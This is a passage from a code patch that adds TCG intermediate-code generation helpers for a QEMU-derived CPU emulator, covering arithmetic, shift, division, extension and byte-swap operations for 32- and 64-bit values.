tcg_gen_ldst_op_i64(s, INDEX_op_st8_i64, arg1, arg2, offset); +} + +static inline void tcg_gen_st16_i64(TCGContext *s, TCGv_i64 arg1, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ldst_op_i64(s, INDEX_op_st16_i64, arg1, arg2, offset); +} + +static inline void tcg_gen_st32_i64(TCGContext *s, TCGv_i64 arg1, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ldst_op_i64(s, INDEX_op_st32_i64, arg1, arg2, offset); +} + +static inline void tcg_gen_st_i64(TCGContext *s, TCGv_i64 arg1, TCGv_ptr arg2, tcg_target_long offset) +{ + tcg_gen_ldst_op_i64(s, INDEX_op_st_i64, arg1, arg2, offset); +} + +static inline void tcg_gen_add_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_op3_i64(s, INDEX_op_add_i64, ret, arg1, arg2); +} + +static inline void tcg_gen_sub_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_op3_i64(s, INDEX_op_sub_i64, ret, arg1, arg2); +} + +static inline void tcg_gen_and_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCGV_EQUAL_I64(arg1, arg2)) { + tcg_gen_mov_i64(s, ret, arg1); + } else { + tcg_gen_op3_i64(s, INDEX_op_and_i64, ret, arg1, arg2); + } +} + +static inline void tcg_gen_andi_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, uint64_t arg2) +{ + TCGv_i64 t0; + /* Some cases can be optimized here. */ + switch (arg2) { + case 0: + tcg_gen_movi_i64(s, ret, 0); + return; + case 0xffffffffffffffffull: + tcg_gen_mov_i64(s, ret, arg1); + return; + case 0xffull: + /* Don't recurse with tcg_gen_ext8u_i32. */ + if (TCG_TARGET_HAS_ext8u_i64) { + tcg_gen_op2_i64(s, INDEX_op_ext8u_i64, ret, arg1); + return; + } + break; + case 0xffffu: + if (TCG_TARGET_HAS_ext16u_i64) { + tcg_gen_op2_i64(s, INDEX_op_ext16u_i64, ret, arg1); + return; + } + break; + case 0xffffffffull: + if (TCG_TARGET_HAS_ext32u_i64) { + tcg_gen_op2_i64(s, INDEX_op_ext32u_i64, ret, arg1); + return; + } + break; + } + t0 = tcg_const_i64(s, arg2); + tcg_gen_and_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); +} + +static inline void tcg_gen_or_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCGV_EQUAL_I64(arg1, arg2)) { + tcg_gen_mov_i64(s, ret, arg1); + } else { + tcg_gen_op3_i64(s, INDEX_op_or_i64, ret, arg1, arg2); + } +} + +static inline void tcg_gen_ori_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + /* Some cases can be optimized here. */ + if (arg2 == -1) { + tcg_gen_movi_i64(s, ret, -1); + } else if (arg2 == 0) { + tcg_gen_mov_i64(s, ret, arg1); + } else { + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_or_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } +} + +static inline void tcg_gen_xor_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCGV_EQUAL_I64(arg1, arg2)) { + tcg_gen_movi_i64(s, ret, 0); + } else { + tcg_gen_op3_i64(s, INDEX_op_xor_i64, ret, arg1, arg2); + } +} + +static inline void tcg_gen_xori_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + /* Some cases can be optimized here. */ + if (arg2 == 0) { + tcg_gen_mov_i64(s, ret, arg1); + } else if (arg2 == -1 && TCG_TARGET_HAS_not_i64) { + /* Don't recurse with tcg_gen_not_i64. */ + tcg_gen_op2_i64(s, INDEX_op_not_i64, ret, arg1); + } else { + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_xor_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } +} + +static inline void tcg_gen_shl_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_op3_i64(s, INDEX_op_shl_i64, ret, arg1, arg2); +} + +static inline void tcg_gen_shli_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + if (arg2 == 0) { + tcg_gen_mov_i64(s, ret, arg1); + } else { + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_shl_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } +} + +static inline void tcg_gen_shr_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_op3_i64(s, INDEX_op_shr_i64, ret, arg1, arg2); +} + +static inline void tcg_gen_shri_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + if (arg2 == 0) { + tcg_gen_mov_i64(s, ret, arg1); + } else { + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_shr_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } +} + +static inline void tcg_gen_sar_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_op3_i64(s, INDEX_op_sar_i64, ret, arg1, arg2); +} + +static inline void tcg_gen_sari_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + if (arg2 == 0) { + tcg_gen_mov_i64(s, ret, arg1); + } else { + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_sar_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } +} + +static inline void tcg_gen_brcond_i64(TCGContext *s, TCGCond cond, TCGv_i64 arg1, + TCGv_i64 arg2, int label_index) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_br(s, label_index); + } else if (cond != TCG_COND_NEVER) { + tcg_gen_op4ii_i64(s, INDEX_op_brcond_i64, arg1, arg2, cond, label_index); + } +} + +static inline void tcg_gen_setcond_i64(TCGContext *s, TCGCond cond, TCGv_i64 ret, + TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_movi_i64(s, ret, 1); + } else if (cond == TCG_COND_NEVER) { + tcg_gen_movi_i64(s, ret, 0); + } else { + tcg_gen_op4i_i64(s, INDEX_op_setcond_i64, ret, arg1, arg2, cond); + } +} + +static inline void tcg_gen_mul_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_op3_i64(s, INDEX_op_mul_i64, ret, arg1, arg2); +} + +static inline void tcg_gen_div_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCG_TARGET_HAS_div_i64) { + tcg_gen_op3_i64(s, INDEX_op_div_i64, ret, arg1, arg2); + } else if (TCG_TARGET_HAS_div2_i64) { + TCGv_i64 t0 = tcg_temp_new_i64(s); + tcg_gen_sari_i64(s, t0, arg1, 63); + tcg_gen_op5_i64(s, INDEX_op_div2_i64, ret, t0, arg1, t0, arg2); + tcg_temp_free_i64(s, t0); + } else { + gen_helper_div_i64(s, ret, arg1, arg2); + } +} + +static inline void tcg_gen_rem_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCG_TARGET_HAS_rem_i64) { + tcg_gen_op3_i64(s, INDEX_op_rem_i64, ret, arg1, arg2); + } else if (TCG_TARGET_HAS_div_i64) { + TCGv_i64 t0 = tcg_temp_new_i64(s); + tcg_gen_op3_i64(s, INDEX_op_div_i64, t0, arg1, arg2); + tcg_gen_mul_i64(s, t0, t0, arg2); + tcg_gen_sub_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } else if (TCG_TARGET_HAS_div2_i64) { + TCGv_i64 t0 = tcg_temp_new_i64(s); + tcg_gen_sari_i64(s, t0, arg1, 63); + tcg_gen_op5_i64(s, INDEX_op_div2_i64, t0, ret, arg1, t0, arg2); + tcg_temp_free_i64(s, t0); + } else { + gen_helper_rem_i64(s, ret, arg1, arg2); + } +} + +static inline void tcg_gen_divu_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCG_TARGET_HAS_div_i64) { + tcg_gen_op3_i64(s, INDEX_op_divu_i64, ret, arg1, arg2); + } else if (TCG_TARGET_HAS_div2_i64) { + TCGv_i64 t0 = tcg_temp_new_i64(s); + tcg_gen_movi_i64(s, t0, 0); + tcg_gen_op5_i64(s, INDEX_op_divu2_i64, ret, t0, arg1, t0, arg2); + tcg_temp_free_i64(s, t0); + } else { + gen_helper_divu_i64(s, ret, arg1, arg2); + } +} + +static inline void tcg_gen_remu_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCG_TARGET_HAS_rem_i64) { + tcg_gen_op3_i64(s, INDEX_op_remu_i64, ret, arg1, arg2); + } else if (TCG_TARGET_HAS_div_i64) { + TCGv_i64 t0 = tcg_temp_new_i64(s); + tcg_gen_op3_i64(s, INDEX_op_divu_i64, t0, arg1, arg2); + tcg_gen_mul_i64(s, t0, t0, arg2); + tcg_gen_sub_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } else if (TCG_TARGET_HAS_div2_i64) { + TCGv_i64 t0 = tcg_temp_new_i64(s); + tcg_gen_movi_i64(s, t0, 0); + tcg_gen_op5_i64(s, INDEX_op_divu2_i64, t0, ret, arg1, t0, arg2); + tcg_temp_free_i64(s, t0); + } else { + gen_helper_remu_i64(s, ret, arg1, arg2); + } +} +#endif /* TCG_TARGET_REG_BITS == 32 */ + +static inline void tcg_gen_addi_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + /* some cases can be optimized here */ + if (arg2 == 0) { + tcg_gen_mov_i64(s, ret, arg1); + } else { + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_add_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } +} + +static inline void tcg_gen_subfi_i64(TCGContext *s, TCGv_i64 ret, int64_t arg1, TCGv_i64 arg2) +{ + TCGv_i64 t0 = tcg_const_i64(s, arg1); + tcg_gen_sub_i64(s, ret, t0, arg2); + tcg_temp_free_i64(s, t0); +} + +static inline void tcg_gen_subi_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + /* some cases can be optimized here */ + if (arg2 == 0) { + tcg_gen_mov_i64(s, ret, arg1); + } else { + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_sub_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } +} +static inline void tcg_gen_brcondi_i64(TCGContext *s, TCGCond cond, TCGv_i64 arg1, + int64_t arg2, int label_index) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_br(s, label_index); + } else if (cond != TCG_COND_NEVER) { + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_brcond_i64(s, cond, arg1, t0, label_index); + tcg_temp_free_i64(s, t0); + } +} + +static inline void tcg_gen_setcondi_i64(TCGContext *s, TCGCond cond, TCGv_i64 ret, + TCGv_i64 arg1, int64_t arg2) +{ + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_setcond_i64(s, cond, ret, arg1, t0); + tcg_temp_free_i64(s, t0); +} + +static inline void tcg_gen_muli_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_mul_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); +} + + +/***************************************/ +/* optional operations */ + +static inline void tcg_gen_ext8s_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg) +{ + if (TCG_TARGET_HAS_ext8s_i32) { + tcg_gen_op2_i32(s, INDEX_op_ext8s_i32, ret, arg); + } else { + tcg_gen_shli_i32(s, ret, arg, 24); + tcg_gen_sari_i32(s, ret, ret, 24); + } +} + +static inline void tcg_gen_ext16s_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg) +{ + if (TCG_TARGET_HAS_ext16s_i32) { + tcg_gen_op2_i32(s, INDEX_op_ext16s_i32, ret, arg); + } else { + tcg_gen_shli_i32(s, ret, arg, 16); + tcg_gen_sari_i32(s, ret, ret, 16); + } +} + +static inline void tcg_gen_ext8u_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg) +{ + if (TCG_TARGET_HAS_ext8u_i32) { + tcg_gen_op2_i32(s, INDEX_op_ext8u_i32, ret, arg); + } else { + tcg_gen_andi_i32(s, ret, arg, 0xffu); + } +} + +static inline void tcg_gen_ext16u_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg) +{ + if (TCG_TARGET_HAS_ext16u_i32) { + tcg_gen_op2_i32(s, INDEX_op_ext16u_i32, ret, arg); + } else { + tcg_gen_andi_i32(s, ret, arg, 0xffffu); + } +} + +/* Note: we assume the two high bytes are set to zero */ +static inline void tcg_gen_bswap16_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg) +{ + if (TCG_TARGET_HAS_bswap16_i32) { + tcg_gen_op2_i32(s, INDEX_op_bswap16_i32, ret, arg); + } else { + TCGv_i32 t0 = tcg_temp_new_i32(s); + + tcg_gen_ext8u_i32(s, t0, arg); + tcg_gen_shli_i32(s, t0, t0, 8); + tcg_gen_shri_i32(s, ret, arg, 8); + tcg_gen_or_i32(s, ret, ret, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_bswap32_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg) +{ + if (TCG_TARGET_HAS_bswap32_i32) { + tcg_gen_op2_i32(s, INDEX_op_bswap32_i32, ret, arg); + } else { + TCGv_i32 t0, t1; + t0 = tcg_temp_new_i32(s); + t1 = tcg_temp_new_i32(s); + + tcg_gen_shli_i32(s, t0, arg, 24); + + tcg_gen_andi_i32(s, t1, arg, 0x0000ff00); + tcg_gen_shli_i32(s, t1, t1, 8); + tcg_gen_or_i32(s, t0, t0, t1); + + tcg_gen_shri_i32(s, t1, arg, 8); + tcg_gen_andi_i32(s, t1, t1, 0x0000ff00); + tcg_gen_or_i32(s, t0, t0, t1); + + tcg_gen_shri_i32(s, t1, arg, 24); + tcg_gen_or_i32(s, ret, t0, t1); + tcg_temp_free_i32(s, t0); + tcg_temp_free_i32(s, t1); + } +} + +#if TCG_TARGET_REG_BITS == 32 +static inline void tcg_gen_ext8s_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + tcg_gen_ext8s_i32(s, TCGV_LOW(ret), TCGV_LOW(arg)); + tcg_gen_sari_i32(s, TCGV_HIGH(ret), TCGV_LOW(ret), 31); +} + +static inline void tcg_gen_ext16s_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + tcg_gen_ext16s_i32(s, TCGV_LOW(ret), TCGV_LOW(arg)); + tcg_gen_sari_i32(s, TCGV_HIGH(ret), TCGV_LOW(ret), 31); +} + +static inline void tcg_gen_ext32s_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + tcg_gen_mov_i32(s, TCGV_LOW(ret), TCGV_LOW(arg)); + tcg_gen_sari_i32(s, TCGV_HIGH(ret), TCGV_LOW(ret), 31); +} + +static inline void tcg_gen_ext8u_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + tcg_gen_ext8u_i32(s, TCGV_LOW(ret), TCGV_LOW(arg)); + tcg_gen_movi_i32(s, TCGV_HIGH(ret), 0); +} + +static inline void tcg_gen_ext16u_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + tcg_gen_ext16u_i32(s, TCGV_LOW(ret), TCGV_LOW(arg)); + tcg_gen_movi_i32(s, TCGV_HIGH(ret), 0); +} + +static inline void tcg_gen_ext32u_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + tcg_gen_mov_i32(s, TCGV_LOW(ret), TCGV_LOW(arg)); + tcg_gen_movi_i32(s, TCGV_HIGH(ret), 0); +} + +static inline void tcg_gen_trunc_shr_i64_i32(TCGContext *s, TCGv_i32 ret, TCGv_i64 arg, + unsigned int count) +{ + tcg_debug_assert(count < 64); + if (count >= 32) { + tcg_gen_shri_i32(s, ret, TCGV_HIGH(arg), count - 32); + } else if (count == 0) { + tcg_gen_mov_i32(s, ret, TCGV_LOW(arg)); + } else { + TCGv_i64 t = tcg_temp_new_i64(s); + tcg_gen_shri_i64(s, t, arg, count); + tcg_gen_mov_i32(s, ret, TCGV_LOW(t)); + tcg_temp_free_i64(s, t); + } +} + +static inline void tcg_gen_extu_i32_i64(TCGContext *s, TCGv_i64 ret, TCGv_i32 arg) +{ + tcg_gen_mov_i32(s, TCGV_LOW(ret), arg); + tcg_gen_movi_i32(s, TCGV_HIGH(ret), 0); +} + +static inline void tcg_gen_ext_i32_i64(TCGContext *s, TCGv_i64 ret, TCGv_i32 arg) +{ + tcg_gen_mov_i32(s, TCGV_LOW(ret), arg); + tcg_gen_sari_i32(s, TCGV_HIGH(ret), TCGV_LOW(ret), 31); +} + +/* Note: we assume the six high bytes are set to zero */ +static inline void tcg_gen_bswap16_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + tcg_gen_mov_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg)); + tcg_gen_bswap16_i32(s, TCGV_LOW(ret), TCGV_LOW(arg)); +} + +/* Note: we assume the four high bytes are set to zero */ +static inline void tcg_gen_bswap32_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + tcg_gen_mov_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg)); + tcg_gen_bswap32_i32(s, TCGV_LOW(ret), TCGV_LOW(arg)); +} + +static inline void tcg_gen_bswap64_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + TCGv_i32 t0, t1; + t0 = tcg_temp_new_i32(s); + t1 = tcg_temp_new_i32(s); + + tcg_gen_bswap32_i32(s, t0, TCGV_LOW(arg)); + tcg_gen_bswap32_i32(s, t1, TCGV_HIGH(arg)); + tcg_gen_mov_i32(s, TCGV_LOW(ret), t1); + tcg_gen_mov_i32(s, TCGV_HIGH(ret), t0); + tcg_temp_free_i32(s, t0); + tcg_temp_free_i32(s, t1); +} +#else + +static inline void tcg_gen_ext8s_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (TCG_TARGET_HAS_ext8s_i64) { + tcg_gen_op2_i64(s, INDEX_op_ext8s_i64, ret, arg); + } else { + tcg_gen_shli_i64(s, ret, arg, 56); + tcg_gen_sari_i64(s, ret, ret, 56); + } +} + +static inline void tcg_gen_ext16s_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (TCG_TARGET_HAS_ext16s_i64) { + tcg_gen_op2_i64(s, INDEX_op_ext16s_i64, ret, arg); + } else { + tcg_gen_shli_i64(s, ret, arg, 48); + tcg_gen_sari_i64(s, ret, ret, 48); + } +} + +static inline void tcg_gen_ext32s_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (TCG_TARGET_HAS_ext32s_i64) { + tcg_gen_op2_i64(s, INDEX_op_ext32s_i64, ret, arg); + } else { + tcg_gen_shli_i64(s, ret, arg, 32); + tcg_gen_sari_i64(s, ret, ret, 32); + } +} + +static inline void tcg_gen_ext8u_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (TCG_TARGET_HAS_ext8u_i64) { + tcg_gen_op2_i64(s, INDEX_op_ext8u_i64, ret, arg); + } else { + tcg_gen_andi_i64(s, ret, arg, 0xffu); + } +} + +static inline void tcg_gen_ext16u_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (TCG_TARGET_HAS_ext16u_i64) { + tcg_gen_op2_i64(s, INDEX_op_ext16u_i64, ret, arg); + } else { + tcg_gen_andi_i64(s, ret, arg, 0xffffu); + } +} + +static inline void tcg_gen_ext32u_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (TCG_TARGET_HAS_ext32u_i64) { + tcg_gen_op2_i64(s, INDEX_op_ext32u_i64, ret, arg); + } else { + tcg_gen_andi_i64(s, ret, arg, 0xffffffffu); + } +} + +static inline void tcg_gen_trunc_shr_i64_i32(TCGContext *s, TCGv_i32 ret, TCGv_i64 arg, + unsigned int count) +{ + tcg_debug_assert(count < 64); + if (TCG_TARGET_HAS_trunc_shr_i32) { + tcg_gen_op3i_i32(s, INDEX_op_trunc_shr_i32, ret, + MAKE_TCGV_I32(GET_TCGV_I64(arg)), count); + } else if (count == 0) { + tcg_gen_mov_i32(s, ret, MAKE_TCGV_I32(GET_TCGV_I64(arg))); + } else { + TCGv_i64 t = tcg_temp_new_i64(s); + tcg_gen_shri_i64(s, t, arg, count); + tcg_gen_mov_i32(s, ret, MAKE_TCGV_I32(GET_TCGV_I64(t))); + tcg_temp_free_i64(s, t); + } +} + +/* Note: we assume the target supports move between 32 and 64 bit + registers */ +static inline void tcg_gen_extu_i32_i64(TCGContext *s, TCGv_i64 ret, TCGv_i32 arg) +{ + tcg_gen_ext32u_i64(s, ret, MAKE_TCGV_I64(GET_TCGV_I32(arg))); +} + +/* Note: we assume the target supports move between 32 and 64 bit + registers */ +static inline void tcg_gen_ext_i32_i64(TCGContext *s, TCGv_i64 ret, TCGv_i32 arg) +{ + tcg_gen_ext32s_i64(s, ret, MAKE_TCGV_I64(GET_TCGV_I32(arg))); +} + +/* Note: we assume the six high bytes are set to zero */ +static inline void tcg_gen_bswap16_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (TCG_TARGET_HAS_bswap16_i64) { + tcg_gen_op2_i64(s, INDEX_op_bswap16_i64, ret, arg); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + + tcg_gen_ext8u_i64(s, t0, arg); + tcg_gen_shli_i64(s, t0, t0, 8); + tcg_gen_shri_i64(s, ret, arg, 8); + tcg_gen_or_i64(s, ret, ret, t0); + tcg_temp_free_i64(s, t0); + } +} + +/* Note: we assume the four high bytes are set to zero */ +static inline void tcg_gen_bswap32_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (TCG_TARGET_HAS_bswap32_i64) { + tcg_gen_op2_i64(s, INDEX_op_bswap32_i64, ret, arg); + } else { + TCGv_i64 t0, t1; + t0 = tcg_temp_new_i64(s); + t1 = tcg_temp_new_i64(s); + + tcg_gen_shli_i64(s, t0, arg, 24); + tcg_gen_ext32u_i64(s, t0, t0); + + tcg_gen_andi_i64(s, t1, arg, 0x0000ff00); + tcg_gen_shli_i64(s, t1, t1, 8); + tcg_gen_or_i64(s, t0, t0, t1); + + tcg_gen_shri_i64(s, t1, arg, 8); + tcg_gen_andi_i64(s, t1, t1, 0x0000ff00); + tcg_gen_or_i64(s, t0, t0, t1); + + tcg_gen_shri_i64(s, t1, arg, 24); + tcg_gen_or_i64(s, ret, t0, t1); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +static inline void tcg_gen_bswap64_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (TCG_TARGET_HAS_bswap64_i64) { + tcg_gen_op2_i64(s, INDEX_op_bswap64_i64, ret, arg); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + TCGv_i64 t1 = tcg_temp_new_i64(s); + + tcg_gen_shli_i64(s, t0, arg, 56); + + tcg_gen_andi_i64(s, t1, arg, 0x0000ff00); + tcg_gen_shli_i64(s, t1, t1, 40); + tcg_gen_or_i64(s, t0, t0, t1); + + tcg_gen_andi_i64(s, t1, arg, 0x00ff0000); + tcg_gen_shli_i64(s, t1, t1, 24); + tcg_gen_or_i64(s, t0, t0, t1); + + tcg_gen_andi_i64(s, t1, arg, 0xff000000); + tcg_gen_shli_i64(s, t1, t1, 8); + tcg_gen_or_i64(s, t0, t0, t1); + + tcg_gen_shri_i64(s, t1, arg, 8); + tcg_gen_andi_i64(s, t1, t1, 0xff000000); + tcg_gen_or_i64(s, t0, t0, t1); + + tcg_gen_shri_i64(s, t1, arg, 24); + tcg_gen_andi_i64(s, t1, t1, 0x00ff0000); + tcg_gen_or_i64(s, t0, t0, t1); + + tcg_gen_shri_i64(s, t1, arg, 40); + tcg_gen_andi_i64(s, t1, t1, 0x0000ff00); + tcg_gen_or_i64(s, t0, t0, t1); + + tcg_gen_shri_i64(s, t1, arg, 56); + tcg_gen_or_i64(s, ret, t0, t1); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +#endif + +static inline void tcg_gen_neg_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg) +{ + if (TCG_TARGET_HAS_neg_i32) { + tcg_gen_op2_i32(s, INDEX_op_neg_i32, ret, arg); + } else { + TCGv_i32 t0 = tcg_const_i32(s, 0); + tcg_gen_sub_i32(s, ret, t0, arg); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_neg_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (TCG_TARGET_HAS_neg_i64) { + tcg_gen_op2_i64(s, INDEX_op_neg_i64, ret, arg); + } else { + TCGv_i64 t0 = tcg_const_i64(s, 0); + tcg_gen_sub_i64(s, ret, t0, arg); + tcg_temp_free_i64(s, t0); + } +} + +static inline void tcg_gen_not_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg) +{ + if (TCG_TARGET_HAS_not_i32) { + tcg_gen_op2_i32(s, INDEX_op_not_i32, ret, arg); + } else { + tcg_gen_xori_i32(s, ret, arg, -1); + } +} + +static inline void tcg_gen_not_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ +#if TCG_TARGET_REG_BITS == 64 + if (TCG_TARGET_HAS_not_i64) { + tcg_gen_op2_i64(s, INDEX_op_not_i64, ret, arg); + } else { + tcg_gen_xori_i64(s, ret, arg, -1); + } +#else + tcg_gen_not_i32(s, TCGV_LOW(ret), TCGV_LOW(arg)); + tcg_gen_not_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg)); +#endif +} + +static inline void tcg_gen_discard_i32(TCGContext *s, TCGv_i32 arg) +{ + tcg_gen_op1_i32(s, INDEX_op_discard, arg); +} + +static inline void tcg_gen_discard_i64(TCGContext *s, TCGv_i64 arg) +{ +#if TCG_TARGET_REG_BITS == 32 + tcg_gen_discard_i32(s, TCGV_LOW(arg)); + tcg_gen_discard_i32(s, TCGV_HIGH(arg)); +#else + tcg_gen_op1_i64(s, INDEX_op_discard, arg); +#endif +} + +static inline void tcg_gen_andc_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_andc_i32) { + tcg_gen_op3_i32(s, INDEX_op_andc_i32, ret, arg1, arg2); + } else { + TCGv_i32 t0 = tcg_temp_new_i32(s); + tcg_gen_not_i32(s, t0, arg2); + tcg_gen_and_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_andc_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ +#if TCG_TARGET_REG_BITS == 64 + if (TCG_TARGET_HAS_andc_i64) { + tcg_gen_op3_i64(s, INDEX_op_andc_i64, ret, arg1, arg2); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + tcg_gen_not_i64(s, t0, arg2); + tcg_gen_and_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } +#else + tcg_gen_andc_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), TCGV_LOW(arg2)); + tcg_gen_andc_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), TCGV_HIGH(arg2)); +#endif +} + +static inline void tcg_gen_eqv_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_eqv_i32) { + tcg_gen_op3_i32(s, INDEX_op_eqv_i32, ret, arg1, arg2); + } else { + tcg_gen_xor_i32(s, ret, arg1, arg2); + tcg_gen_not_i32(s, ret, ret); + } +} + +static inline void tcg_gen_eqv_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ +#if TCG_TARGET_REG_BITS == 64 + if (TCG_TARGET_HAS_eqv_i64) { + tcg_gen_op3_i64(s, INDEX_op_eqv_i64, ret, arg1, arg2); + } else { + tcg_gen_xor_i64(s, ret, arg1, arg2); + tcg_gen_not_i64(s, ret, ret); + } +#else + tcg_gen_eqv_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), TCGV_LOW(arg2)); + tcg_gen_eqv_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), TCGV_HIGH(arg2)); +#endif +} + +static inline void tcg_gen_nand_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_nand_i32) { + tcg_gen_op3_i32(s, INDEX_op_nand_i32, ret, arg1, arg2); + } else { + tcg_gen_and_i32(s, ret, arg1, arg2); + tcg_gen_not_i32(s, ret, ret); + } +} + +static inline void tcg_gen_nand_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ +#if TCG_TARGET_REG_BITS == 64 + if (TCG_TARGET_HAS_nand_i64) { + tcg_gen_op3_i64(s, INDEX_op_nand_i64, ret, arg1, arg2); + 